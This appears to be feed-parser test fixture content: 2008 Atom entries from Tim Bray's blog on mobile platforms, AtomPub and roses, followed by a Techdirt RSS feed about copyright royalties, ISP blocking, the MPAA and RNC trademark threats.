      We all know that cellphones have been able to access the Net for years and years. In theory. I’m a heavy Internet user and have carried a phone for a decade or more, and have never seriously used the one on the other. The browsers suck, the programming models suck, and lots of things are intentionally crippled, like my current pretty-good Samsung whose JVM won’t run anything that didn’t come with the phone.

      And anyhow, I remember the first time I got a phone advertised as “having Java”. So I went and got whichever flavor of Mobile Java was current at the time. Quickly discovered that I couldn’t use it to make a phone call on the phone, or pretty much anything except write pretty-but-vapid games. Couldn’t see the point.

      “But wait,” you say, “the iPhone has changed all that!”

      The iPhone Problem

      Yep, iPhone owners do actually use them as general-purpose Net clients. And, for the first time ever, they’re decently programmable in a somewhat-uncrippled way.

      But there’s a little problem and a big problem. The little problem is that I don’t wanna learn Objective-C and I don’t wanna learn a whole new UI framework. I acknowledge that lots of smart people think Objective-C and Cocoa are both wonderful, and quite likely they’re right. I don’t care. I’m lazy; I know enough languages and enough frameworks. You’re free to disapprove, but there are a whole lot of people like me out there.

      The big problem is this: I don’t wanna be a sharecropper on Massa Steve’s plantation. I don’t want to write code for a platform where there’s someone else who gets to decide whether I get to play and what I’m allowed to sell, and who can flip my you’re-out-of-business-switch any time it furthers their business goals. PragDave’s experience is hardly a confidence-builder. Call me paranoid if you will, but I just ain’t going there. No way, nohow.

      Granted, the device is slick and has massive consumer pull, and maybe we’ll end up with a situation where the only way to be relevant in the mobile-apps space is as an Apple sharecropper. That’s not the future I want, but maybe it’s the one we’ll get.

      The Android Problem

      I guess it’s a little impolitic for a Sun person to say this, but I really like Android, at the conceptual level. It seems more modern in its feel than the other mobile SDKs I’ve looked at, and the amount of new stuff I’m going to have to learn is much less, and the platform has no intrinsic lock-in that I can spot.

      On the other hand, it seems like there’s not much there there; haven’t seen much in the way of updates or hardware or movement, and there seems little transparency about what’s happening behind the scenes. And Android doesn’t address the dysfunctional business model that has crippled mainstream as Net clients, to date. More on that below.

      The JavaFX Mobile Problem

      It’s easy to like the JavaFX Mobile idea. It’s just Java SE only with access to the whole device, so you can use the phone as a phone, and with a layer on top to make it easier to program. In principle there’s no reason I couldn’t actually write my app in JRuby or Jython or some such. It’s probably got the least lock-in potential of any of the mobile-future options.

      The problem is that it isn’t here yet. A year ago, my feeling was that maybe they’d started too late. Given the whole industry’s lack of progress since then, and the generally dismal outlook, I think there’s still a window of opportunity if FX Mobile ships before too long and turns out well.

      The Business Problem

      I’m on the record here and here and here; many of my commenters disagree with me, but they’re wrong. Until we get network operators who are willing to open their networks, and a business model that makes access affordable while incenting operators to encourage its use, all the shiny SDKs and glitzy pocket-jewels in the world aren’t going to come close to realizing the true potential of the mobile Net.

       SPotD: Lemonade http://www.tbray.org/ongoing/When/200x/2008/07/17/Lemonade 2008-07-17T02:00:00-07:00 2008-07-17T21:36:34-07:00
      I’ve been too overloaded to write much or even post pix, but never (it seems) to take pictures, so they’ve been building up. I look at the buildup and discern a theme; herewith the first Summer Picture of the Day; more to come. And what could be more summery than lemonade?

      I’ve been too overloaded to write much or even post pix, but never (it seems) to take pictures, so they’ve been building up. I look at the buildup and discern a theme; herewith the first Summer Picture of the Day; more to come. And what could be more summery than lemonade?

      Lemonade at the Liberty Café, Vancouver

      This is at the Liberty Café on Main Street on Vancouver, and a fine place it is for lunch or refreshments, albeit not fast. One of their better offerings is home-made lemonade, which comes in a big plastic pitcher, visible behind the glass.

      Some internationalization is called for. This is North American lemonade, which is just lemon juice, ice, sugar, and water; terribly refreshing on a warm day. The word can mean something completely different elsewhere in the world.

      Confession: Not much Photointegrity here; this is oozing artificial sparkle and heat, courtesy of Lightroom. I can live with myself.

       It’s Called AtomPub http://www.tbray.org/ongoing/When/200x/2008/07/17/AtomPub 2008-07-17T02:00:00-07:00 2008-07-17T21:18:38-07:00
      Recently, I was asked for feedback on some technology being built inside Sun which was said to rely on “Atom Pub/Sub”. In related confusing news, more than one big company has talked about “Rolling out APP”. Branding matters. So we took it up on the Atom Protocol mailing list and, for what it’s worth, the community of implementors has agreed that we’re all going to refer to the protocol specified in RFC 5023 as “AtomPub” and nothing else. Please co-operate.

      Recently, I was asked for feedback on some technology being built inside Sun which was said to rely on “Atom Pub/Sub”. In related confusing news, more than one big company has talked about “Rolling out APP”. Branding matters. So we took it up on the Atom Protocol mailing list and, for what it’s worth, the community of implementors has agreed that we’re all going to refer to the protocol specified in RFC 5023 as “AtomPub” and nothing else. Please co-operate.

      Next, we need a logo. Might Google or Microsoft, who are taking the lead in rolling out AtomPub-based services, be willing to dedicate some design talent to a candidate or two? Do any indie hackers with graphics skills want to play?

       Ephemeral Aggregators http://www.tbray.org/ongoing/When/200x/2008/07/17/News-Gentrification 2008-07-17T02:00:00-07:00 2008-07-17T20:56:55-07:00
      I’m thinking that The ascendancy of Hacker News & the gentrification of geek news communities, by Rabble, is, in its quiet way, one of the most important think pieces I’ve read in quite a while. It’s pretty clear that online aggregations of individual contributions are occupying a bigger and bigger slice of the spectrum of useful information sources. And also clear that this new landscape isn’t stable, but steadily shifting underfoot.

      I’m thinking that The ascendancy of Hacker News & the gentrification of geek news communities, by Rabble, is, in its quiet way, one of the most important think pieces I’ve read in quite a while. It’s pretty clear that online aggregations of individual contributions are occupying a bigger and bigger slice of the spectrum of useful information sources. And also clear that this new landscape isn’t stable, but steadily shifting underfoot.

      First off, I’d recommend reading the comments on the “Gentrification” essay along with it. Like the a couple of the contributors, I think the pattern of conversational flow is accurately described, but am uncomfortable with the use of “gentrification”.

      Here are my take-aways, the first couple lifted more or less directly from the essay:

      • Success as an aggregator is ephemeral.

      • The pressure of the SEO slime is continuous and unrelenting; a significant evolutionary force on whatever it is online communities are becoming.

      • The effect of individual burn-out is maybe understated. Consider Slashdot; one reason it has less traffic these days is that the editorial quality filters are pathetic compared to back then; the regime where CmdrTaco and friends had the wheel and just instinctively knew the wheat from the chaff was probably just not sustainable.

      • The value of following a few carefully-selected primary sources and keen-eyed individual observers just can’t be overstated. The right selection of blog and Twitter feeds can put you in a situation where you’ve already seen most of the good bits of today’s Reddit or equivalent. Yeah, it takes a little more time than just dropping by an aggregator. Whether this is a good trade-off depends on what your job is.

      • It should be painfully obvious that these lessons probably apply to news loci outside the technology ghetto; today’s hot news fora for politics or sex or knitting are just as vulnerable to online traffic’s fickle flow patterns.

       Cargo Carriers http://www.tbray.org/ongoing/When/200x/2008/07/14/Bicycle-Baskets 2008-07-14T02:00:00-07:00 2008-07-14T22:29:20-07:00

      It’s not obvious why the attachment of baskets to bicycles should be gender-related, but in fact one observes that 100% of the bicycles with baskets on the front handlebars are ridden by women. In fact I find the effect feminine and charming, but I suspect that’s because of the riders.

       It’s Slow http://www.tbray.org/ongoing/When/200x/2008/07/10/Slow-Linux 2008-07-10T02:00:00-07:00 2008-07-10T13:42:27-07:00

      The Penguinistas like to brag about how GNU/Linux runs just fine on low-rent hardware, by contrast with competitors like Vista that need the latest gleaming iron to be useful. And they have a point; but only up to a point. I can testify from personal experience that an elderly 333-MHz Dell with a recent Debian totally sucks wind when you run WordPress. And the real point is, it ain’t operating systems that bog your computer down, it’s apps.

       LAMP, Rearranged http://www.tbray.org/ongoing/When/200x/2008/07/10/LAMP-funnies 2008-07-10T02:00:00-07:00 2008-07-10T10:45:28-07:00
      It started innocently enough; someone mailed the internal bloggers’ list saying “We’ve got this Beyond LAMP article on SDN, might be good blog fodder.” Which constituted an opportunity for geeks to have fun with acronyms.

      It started innocently enough; someone mailed the internal bloggers’ list saying “We’ve got this Beyond LAMP article on SDN, might be good blog fodder.” Which constituted an opportunity for geeks to have fun with acronyms.

      That was yesterday, and they’re still coming. Let’s assume that “L” always stands for Linux, “A” for Apache, “M” for MySQL, and “P” for PHP (or Perl or Python).

      AcronymKey
      SAMPSolaris
      MARSRails, Solaris
      MAPSSolaris
      SPAMSolaris
      WIMPWindows, IIS
      DAMNDirectX, ActiveX, .NET
      WIMNWindows, IIS, .NET (pronounced “women”)
      SINSQL Server, IIS, .NET

      I bet you can think of some more.

       Which Tools? http://www.tbray.org/ongoing/When/200x/2008/07/09/Which-Tools 2008-07-09T02:00:00-07:00 2008-07-09T13:50:57-07:00

      Wow, this one touched a nerve. Some guys here at Sun were arguing about which bug trackers and SCM tools were currently da bombiest, and they decided to ask the world. Hasn’t received hardly any publicity yet, and already over 200 responses. Join in, and pass the word; Here is the survey and here are the results.

       Atomic Monday http://www.tbray.org/ongoing/When/200x/2008/07/07/Atom 2008-07-07T02:00:00-07:00 2008-07-07T22:32:25-07:00
      Herewith some evidence, for the general tech public, that Atompub is a big deal, and for the Atomistas, some interesting developments.

      Herewith some evidence, for the general tech public, that Atompub is a big deal, and for the Atomistas, some interesting developments.

      It’s an Atompub Future

      Let’s see; Microsoft is using Atompub for... well, everything, pretty much. Google has been for a while, and that’s now leveraging Salesforce.com. Oh, and the Kool Erlang Kids are getting into the act: Atom-PubSub module for ejabberd (Hmm, I dislike “Atom PubSub” and all its orthographic variations). And then there are things like AtomServer.

      The Right Amount of Cloud Lock-In

      But here’s the real reason. We seem to have consensus that the future is cloudy. My #1 gripe with the cloud-computing infrastructure I’ve seen out there is that it all seems to come with some degree of lock-in.

      The only appropriate amount of lock-in, to build a cloud-centric future, is zero.

      It seems to me that Steve O’Grady really hit the nail on the head with Question for Cloud Campers: The Cloud and Standards. Now it’s quite possible that my obvious bias as one of Atom’s fond parents is showing here, but it seems to me that the Atom format provides a nice clean zero-lock-in way of getting information out of the cloud, and Atompub an equivalently safe way in.

      Now let’s move on to some Atom-technology news stories.

      Atom-Multipart

      To post an image (or any other bit-blob) with Atompub, you HTTP-POST it; the server stores it and creates a synthetic Atom entry for metadata about it. Then if you want to update the metadata, you have to PUT that. So Joe Gregorio, based on his work at Google, is proposing “atom-multipart”; the idea is use pack up your bit-blob and an Atom entry full of metadata, and push ’em at the server in a MIME multipart package.

      Everyone seems to like the idea, the Atom-protocol mailing list is chewing it over, the IETF seems to think it’s appropriate for the standards track, and I’ve volunteered to be the consensus referee (which is probably poetic justice since I’m obviously going to have to implement the sucker in mod_atom).

      Meta-CRUD

      Just to review: an Atompub implementation lets you create, retrieve, update, and delete (CRUD) Web Resources. So, suppose you think of publications as Web Resources, wouldn’t Atompub be a candidate for the CRUD job? Now, this is all getting more than a little bit meta, but the idea is so obvious that everybody is doing it. In fact, I’m doing it myself in mod_atom, since my original idea (to create a new publication, edit the Apache config file) is, well, really lousy.

      I thought “If everyone’s doing this, maybe we should standardize it, and then authors of Atompub test suites (like me) could build portable tests”. So I raised the issue on the mailing list and well, it’s complicated.

      Just by way of reminder: Atompub starts with a Service Document, which contains one or more named Workspaces, which contain Collections, which are what you actually POST to in order to start up the CRUD process.

      So the meta-idea is simple; have a collection that when you POST to it, creates a new publication. What could be simpler? Well, it turns out that there are three obvious choices you could take as to what happens when you POST to one of these meta-collections:

      1. Create a new Service Doc, with Workspaces and collections.

      2. Create a new Workspace in the current Service Doc.

      3. Create a new collection in the current Workspace.

      There are implementors out there doing all three of these things; mod_atom does #1. We just don’t have enough experience yet to decide which (if any) of ’em deserve standardization. Oh well.

       (Last) RotD: Lucky Sunset http://www.tbray.org/ongoing/When/200x/2008/07/04/Lucky-Sunset 2008-07-04T02:00:00-07:00 2008-07-04T22:14:13-07:00
      The last rose of the day is a “Royal Sunset” in the sunset, A lucky shot, another small instance of good fortune in what’s been (so far) an unreasonably lucky life.

      The last rose of the day is a “Royal Sunset” in the sunset, A lucky shot, another small instance of good fortune in what’s been (so far) an unreasonably lucky life.

      Sunlit Royal Sunset rose blossom

      Well perhaps not sunset exactly, but after supper last Sunday, a narrow shaft of slanting sun illuminated the blossom and not much around it. I had the 21mm wide-angle on but there wasn’t time to fiddle with lenses, I just threw the camera on all-auto and pointed and shot. Lucky, I said.

      Lucky, You Say?

      In spades. My family is mostly free of both insanity and cancer and we mostly like each other, all of which puts us in a small minority of families. I drifted through life without working very hard at anything until I stumbled into work that I loved and have been well-paid for it. My kids are tractable and healthy. I live in a nice part of a nice city. I get to travel to interesting places and meet interesting people. I get along well with my wife of twelve years. I get to tell stories to the world, and some people like them.

      And sometimes a sunbeam catches a rose when there’s a camera handy.

      There isn’t a day that goes by that I don’t shake my head in amazement at how well things have worked out so far. If I were a character in a play by Sophocles the outlook would be grim.

       Good Morning http://www.tbray.org/ongoing/When/200x/2008/07/03/Morning 2008-07-03T02:00:00-07:00 2008-07-03T23:35:45-07:00
      I like mornings. Especially bright ones on foot in the city. People are up and about for a reason; it’s easy to believe the world is on the whole is a well-organized purposeful kind of place.

      I like mornings. Especially bright ones on foot in the city. People are up and about for a reason; it’s easy to believe the world is on the whole is a well-organized purposeful kind of place.

      Bee at breakfast

      I smile particularly when I walk past a restaurant or other storefront and they’re outside washing the big windows. Glass in a city gets cruddy fast, and the window-washers are a daily battalion of shock troops in our doomed but admirable struggle against entropy generally. People who ten hours later pause hungrily by the windowgleam to consider the menu, they never think about the minion in the morning light with the bucket and rubber blade on a pole.

      Transparency

      And if they’re washing the windows in front, in the back you know they’re chopping and peeling and mixing and baking.

      Baking

      Driving can be good too (well, unless you’re going east) but it could be better. I like all kinds of music but when it’s morning and I’m behind the wheel of a car, all I want to hear is rock & roll, hard fast and loud. I could put a CD in but it’d be nice to be surprised. Sadly, the rock stations don’t play much music in the commute window, that’s their prime slot for ads and then they seem to think the people in cars want airhead DJ banter, mostly.

      Hmph, this is a big-government country with an intrusive broadcast regulator that oversees radio formats. Clearly they’re doing something wrong. I’m a taxpayer and I want some damn enforcement; compulsory morning rock & roll please.

       The Shambling WS-Undead http://www.tbray.org/ongoing/When/200x/2008/07/03/The-Shambling-Undead 2008-07-03T02:00:00-07:00 2008-07-03T22:34:26-07:00

      I’ll try to play this straight. It seems that a posse of industry titans (IBM, Oracle, CA, and EMC) want a W3C working group to standardize WS-Transfer, WS-ResourceTransfer, WS-Enumeration and WS-MetadataExchange. Because, as they say, “There is still some work to be done”, and “Accessing data about a resource through Web services is an area of the Web services architecture that has yet to be fully realized.” I guess that if you really do want to implement HTTP on top of the SOAP stack on top of HTTP, these are clearly the Right Vendors For The Job. There is, however, real danger in this move, as outlined by Mark Nottingham in The WS-Empire Strikes Back... feebly.

       RotD: Morning Mist http://www.tbray.org/ongoing/When/200x/2008/07/03/Morning-Mist 2008-07-03T02:00:00-07:00 2008-07-03T14:13:35-07:00
      We planted today’s rose in an awkward corner of the garden and thus had to move it; this summer it’s recovering and only produced one blossom. Pretty pictures are a relief, I hope, in a week that feels like summer’s Horse latitudes.

      We planted today’s rose in an awkward corner of the garden and thus had to move it; this summer it’s recovering and only produced one blossom. Pretty pictures are a relief, I hope, in a week that feels like summer’s Horse latitudes.

      Morning Mist rose blossom

      Tomorrow’s RotD will be the last, and it’s a honey.

      Horse Latitudes

      Yeah, I seem to be busy enough; talking to product and research groups internally, Wide Finder moving right along, making progress on mod_atom albeit slow, but it all seems an effort of will, not something that’s pulling me toward the keyboard at all times. Right now the only thing that’s exciting is a couple of big Fortune top-whatever Sun customers I’m talking to about modern Web stuff; the cognitive dissonance between the vigor of the high-tech Twittersphere and what’s actually in BigCo production is invigorating.

      Whatever, time’s on my side; I never stay bored long.

       RotD: Sombreuil http://www.tbray.org/ongoing/When/200x/2008/07/01/Sombreuil 2008-07-01T02:00:00-07:00 2008-07-01T14:29:41-07:00
      Today’s rose has a lovely French name and, like many others, lots of associated lore.

      Today’s rose has a lovely French name and, like many others, lots of associated lore.

      Two Sombreuil rose blossoms

      I don’t have time to be a rose geek, I just prune ’em and photograph ’em.

       RotD: UltraPink http://www.tbray.org/ongoing/When/200x/2008/06/30/Ultra-Pink 2008-06-30T02:00:00-07:00 2008-07-01T01:04:05-07:00
      This rose-of-the-day grows in our front yard, but we inherited it and I don’t know what it is. Plus, Nikon is making waves in the camera world.

      This rose-of-the-day grows in our front yard, but we inherited it and I don’t know what it is. Plus, Nikon is making waves in the camera world.

      Extremely pink rose

      You might want to check out Alex Waterhouse-Hayward’s wise remarks on the difficulty of photographing this colour range; my experience would suggest he understates it. But in this particular case, I walk by this particular plant several times every day and I think the rose→camera→Lightroom→browser bucket brigade does a surprisingly good job of showing you what I think I saw.

      Cameras

      Nikon launched the D700. This is the camera that might have pulled me off the Pentax bandwagon, but it arrives too late. Still, I don’t know. Most of these rose pictures are Pentax’s “Limited” 40mm prime pancake, except for the last one which I’m saving up to end with a bang, shot with the Limited 21mm prime. I’m pretty sure that those two lenses don’t have any serious competition smaller than any camera body you might want to attach them to. I’m happy for now.

             Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.techdirt.com-techdirt_rss.xml0000664000175000017500000023636512653701626027431 0ustar janjan Techdirt Easily digestible tech news... http://www.techdirt.com/ en-us Techdirthttp://www.techdirt.com/images/td-88x31.gifhttp://www.techdirt.com/ Tue, 22 Jul 2008 07:44:00 PST Copyright Office May Have Just Added New Royalties For Webcasts Michael Masnick http://techdirt.com/articles/20080721/2216361751.shtml http://techdirt.com/articles/20080721/2216361751.shtml Well, this is just downright disturbing. Jon Healy has a quick summary of a totally unexpected and unnecessary proposed rulemaking from the Copyright Office that could <a href="http://opinion.latimes.com/bitplayer/2008/07/more-royalties.html" target="_new">add additional royalties that webcasters would need to pay</a> (on top of the <a href="http://www.techdirt.com/articles/20070607/092053.shtml">already onerous</a> webcasting rates). Basically, the Copyright Office had been asked to decide on a totally different question concerning royalties back in 2000. That issue isn't even in question any more, as the two sides had already worked out their differences, and the Copyright Office didn't do much to give an official answer on that question anyway. <br /><br /> <i>Instead</i>, it came up with an idea out of the blue that music publishers are entitled to an additional mechanical royalty for non-interactive streams (e.g., webcasts, satellite radio, etc.). As Healy explains, this makes no sense and seems to go against previous agreements on these types of royalties. Mechanical royalties are supposed to be for actual copies of the music. Non-interactive streams are basically the same as radio -- which requires performance royalties, but not mechanical royalties. <br /><br /> This reminds me of the column by Rasmus Fleischer we <a href="http://www.techdirt.com/articles/20080609/1950311357.shtml">wrote about</a> a little while ago, where he noted how silly copyright law can get with all these different royalty rates that were designed for a different time. The borderlines between radio, streams, downloads, recordings and all other ways of accessing and hearing music are blending together, and trying to match the old rights to the new ways that people interact with music just leads to more problems -- such as multiple levels of royalties all being heaped upon the same single action, making it effectively uneconomical to actually do the most natural thing with music: play it online. <br /><br /> <a href="http://techdirt.com/articles/20080721/2216361751.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080721/2216361751.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080721/2216361751&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=94d8068ab5c55faef69b882fc974103b"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=94d8068ab5c55faef69b882fc974103b"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=94d8068ab5c55faef69b882fc974103b" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=41wAXj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=41wAXj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/342615518" height="1" width="1"/> you-can't-be-serious http://techdirt.com/comment_rss.php?sid=20080721/2216361751 Tue, 22 Jul 2008 06:01:00 PST Andrew Cuomo Threatens To Sue Comcast If It Doesn't Sign Up For His Plan To Pretend To Fight Child Porn Michael Masnick http://techdirt.com/articles/20080721/1545501748.shtml http://techdirt.com/articles/20080721/1545501748.shtml Last month, New York Attorney General Andrew Cuomo made some news by pressuring a bunch of ISPs to <a href="http://www.techdirt.com/articles/20080610/0117061360.shtml">agree</a> to block certain sites in a <a href="http://www.techdirt.com/articles/20080611/0117051372.shtml">totally misguided</a> effort to fight child porn. It will actually <a href="http://www.techdirt.com/articles/20080717/1918171715.shtml">do the opposite</a>, because it merely hides the issue, driving it further underground, rather than attacking at the source. At the same time, it opens up a very questionable door: having ISPs blocking any content that they feel is "objectionable" in some manner. It's not hard to predict where this goes, in terms of ISPs blocking other types of content as well. <br /><br /> Comcast was one of the companies that <a href="http://www.techdirt.com/articles/20080717/1918171715.shtml">agreed</a> last week to a similar proposal with a bunch of state attorneys general, but apparently that's not enough for Andrew Cuomo. He's now <a href="http://www.dslreports.com/shownews/NY-AG-Will-Sue-Comcast-If-They-Dont-Pretend-To-Fight-Child-Porn-96269" target="_new">threatening to sue Comcast within five days</a> if it doesn't sign the more stringent "code of conduct" that Cuomo wrote up. Apparently Cuomo doesn't think last week's agreement goes far enough. <br /><br /> Of course, what's odd is that nowhere does Cuomo explain how Comcast's actions violate the law. He just threatens to sue over it -- and even makes a veiled threat that the lawsuit alone will be damaging to Comcast, because Cuomo will position it as Comcast protecting child porn: <blockquote><i> Comcast's unwillingness to sign the code of conduct and purge its system of child pornography puts Comcast at the back of the pack in the race to fight this scourge, and would likely be surprising to Comcast's millions of customers across the country. </i></blockquote> The reason Cuomo doesn't explain what the legal rationale for any lawsuit, is because there isn't one. Comcast as a connectivity provider is not responsible for what content goes across its network. Cuomo (one would hope) knows this -- and is bullying Comcast into signing his "Code of Conduct" by threatening to paint the company as protecting child porn. That's a rather sickening abuse of power -- and the end result will only be to make it more difficult to stop child pornography, while opening the door to widespread content blocking by ISPs. <br /><br /> <a href="http://techdirt.com/articles/20080721/1545501748.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080721/1545501748.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080721/1545501748&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=5bec1ad2cbf5769743442dd53dd5c1fa" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=5bec1ad2cbf5769743442dd53dd5c1fa" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=ZyLG5j"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=ZyLG5j" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/342537210" height="1" width="1"/> grandstanding http://techdirt.com/comment_rss.php?sid=20080721/1545501748 Tue, 22 Jul 2008 03:36:19 PST MPAA Doubletalk On FCC Request To Block DVR Recordings Michael Masnick http://techdirt.com/articles/20080721/0742051745.shtml http://techdirt.com/articles/20080721/0742051745.shtml You may recall back in June we wrote about the MPAA's petition to the FCC to <a href="http://www.techdirt.com/articles/20080609/1811451352.shtml">block DVR recordings</a> of certain movies by removing a restriction on "Selectable Output Control" (SOC), allowing it to set rules that forbid recording. What the MPAA is clearly trying to do here is start releasing movies on TV before they're available on DVD, but wants to do so in a way that users won't be able to record on their DVRs (though, they hardly come out and say that). Matthew Lasar has an <a href="http://arstechnica.com/news.ars/post/20080720-mpaa-dvr-blocking-about-multibillion-dollar-theft-problem.html" target="_new">absolutely hilarious interview with an MPAA representative</a> where the MPAA guy tries to pretend that this has nothing to do with blocking recordings of movies and everything to do with stopping piracy. <blockquote><i> "I can't emphasize this enough," Oster finally exclaimed. "We've hit on this a number of times so you might sense some frustration in my voice. 'Recording'—take it off the table. Put it out of your mind. This has nothing to do with recording at all in any way." <br /><br /> "Ok. I guess I'm confused," I replied. "What is selectable output control about then?" <br /><br /> "It's in large part, first and foremost, about the fact that our industry has a multibillion-dollar theft problem, which is that billions and billions of dollar's worth of film content is stolen every year," Oster replied. <br /><br /> "How is it stolen? What's the mechanics of its being stolen?" I asked. "What happens?" <br /><br /> "It comes in many forms," Dean Garfield interjected. "It comes in camcording." <br /><br /> "Did you just say the word 'recording'?" I asked. <br /><br /> "No!" Oster intervened. "He said 'camcording'!" <br /><br /> "But isn't that just basically recording?" I begged. <br /><br /> "No!" Oster insisted. "What we want is to offer consumers high-definition content earlier than they can today. That's what we want to do! We want our studios to have the flexibility to put in place business models that allow them to offer high definition content on demand to the home, earlier than they do now. Period! Full stop!" </i></blockquote> Let's translate this for everyone. Basically, the MPAA falsely believes that it has a problem with <a href="http://www.techdirt.com/articles/20070115/153254.shtml">camcording</a>. It likes to come out with all sorts of <a href="http://www.techdirt.com/articles/20070205/114410.shtml">bogus</a> stats that don't <a href="http://www.techdirt.com/articles/20070508/202525.shtml">add up</a>. The truth is that camcorded versions don't keep people from going to the movies, and most movies online have studio quality versions leaked from <a href="http://www.michaelgeist.ca/index.php?option=com_content&#038;task=view&#038;id=1609&#038;Itemid=125">insiders</a>. <br /><br /> So what does that have to do with SOC? Not much, really. But the MPAA wants to change the release window pattern it currently uses for movies. Rather than theaters, video, PPV, cable TV, it wants to be able to put some movies on TV before they're released to video, hoping that it can charge cable channels a lot for showing them. But, if it does that, it's worried that it will undercut its own business model in the video rental space. So, it falsely believes that it needs this "exemption" from SOC to effectively enable DRM on those movies to prevent them from being recorded. It's the same old mistake, believing that DRM somehow <a href="http://www.techdirt.com/articles/20080612/0101311386.shtml">enables</a> new business models when the truth is that DRM only <a href="http://www.techdirt.com/articles/20070301/005837.shtml">restricts opportunities</a>. The content will still get recorded and released. The effective DRM will do nothing to stop that -- and once the content is out there, it's out there. However, this will be a pain for plenty of legitimate viewers who start wondering why their DVRs don't work properly. <br /><br /> It's not about stopping any kind of piracy. This won't do that. It's not about enabling any new business models or new content. It's about a misguided MPAA which thinks it needs DRM to add yet another way for it to make money while pissing off legitimate users. For that, the FCC should not grant a special exemption. <br /><br /> <a href="http://techdirt.com/articles/20080721/0742051745.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080721/0742051745.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080721/0742051745&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=2b77e6f064a6781509f338e8d1aec90f" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=2b77e6f064a6781509f338e8d1aec90f" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=5eakuj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=5eakuj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/342500941" height="1" width="1"/> the-mainstream-press-may-believe-you,-but... http://techdirt.com/comment_rss.php?sid=20080721/0742051745 Tue, 22 Jul 2008 00:35:17 PST RNC Backs Down On Threats Over T-Shirts With Its Logo Michael Masnick http://techdirt.com/articles/20080721/2128241749.shtml http://techdirt.com/articles/20080721/2128241749.shtml <a href="http://www.citizen.org/litigation/">Paul Alan Levy</a> writes in to let us know that following widespread press coverage of his challenge to the Republican National Committee to back down from <a href="http://www.techdirt.com/articles/20080717/1535171711.shtml">suing</a> CafePress over t-shirts that use the term "GOP" or show the RNC's elephant logo, that the RNC <a href="http://pubcit.typepad.com/clpblog/2008/07/rnc-gives-up-tr.html" target="_new">has in fact agreed to back down</a>. It won't be suing CafePress or users, and will only ask that those who just show the logo or the term apply for a free license (though, it's unclear what happens if that license request is turned down). However, in following this story, Levy discovered that the RNC had also been threatening some individual sellers, especially on t-shirts that are critical of the RNC. Levy and Public Citizen have called on the RNC to withdraw the threatening letters, and warns the RNC that it may sue for declaratory relief (basically get a judge to say the t-shirts are perfectly legal) if the RNC does not withdraw the letters. <br /><br /> <a href="http://techdirt.com/articles/20080721/2128241749.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080721/2128241749.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080721/2128241749&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=43f732324106beeef1662bb8b8bfa452" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=43f732324106beeef1662bb8b8bfa452" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=g7jbij"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=g7jbij" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/342318583" height="1" width="1"/> an-elephant-never-forgets,-but-sometimes-it-misuses-trademark-law http://techdirt.com/comment_rss.php?sid=20080721/2128241749 Mon, 21 Jul 2008 21:50:00 PST Delusions Of Being Jim Carey In The Truman Show Michael Masnick http://techdirt.com/articles/20080720/2011101740.shtml http://techdirt.com/articles/20080720/2011101740.shtml Pop culture influences different people in different ways. In fact, some psychologists are trying to claim that there's a new delusion out there based on the Jim Carey movie, <i>The Truman Show</i>. Yes, apparently (these psychologists claim) an increasing number of people are <a href="http://www.nationalpost.com/news/story.html?id=665015">under the impression that their whole lives are being filmed secretly</a>, and everyone they know and interact with is playing off a script. They psychologists are calling this "The Truman Show Delusion." Other psychologists claim this isn't really any different than other types of delusions, but that the Truman Show angle has just helped crystallize the scenario in some people's minds. Others point out that other movies have had similar effects, with one noting that he has a patient who believes that he's in <i>The Matrix</i> as well. Of course, by calling it the Truman Show Delusion, you run into the possibility (as happens all too often) that people will start <i>blaming</i> a pop culture movie. This is what happens with all those various technology <a href="http://www.techdirt.com/articles/20061204/191445.shtml">"addictions."</a> Next thing you know, we'll have people trying to ban <i>The Truman Show</i> from being shown. Yes, that's an extreme case (that won't likely happen), but it's no different than the overreaction people have in calling for things like having video games declared <a href="http://www.techdirt.com/articles/20070615/002750.shtml">an official addiction</a>. It focuses the attention on the wrong thing: the pop culture phenomenon, rather than the actual problems the individual might have that resulted in the problem. <br /><br /> <a href="http://techdirt.com/articles/20080720/2011101740.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080720/2011101740.shtml#comments">Comments</a> | <a 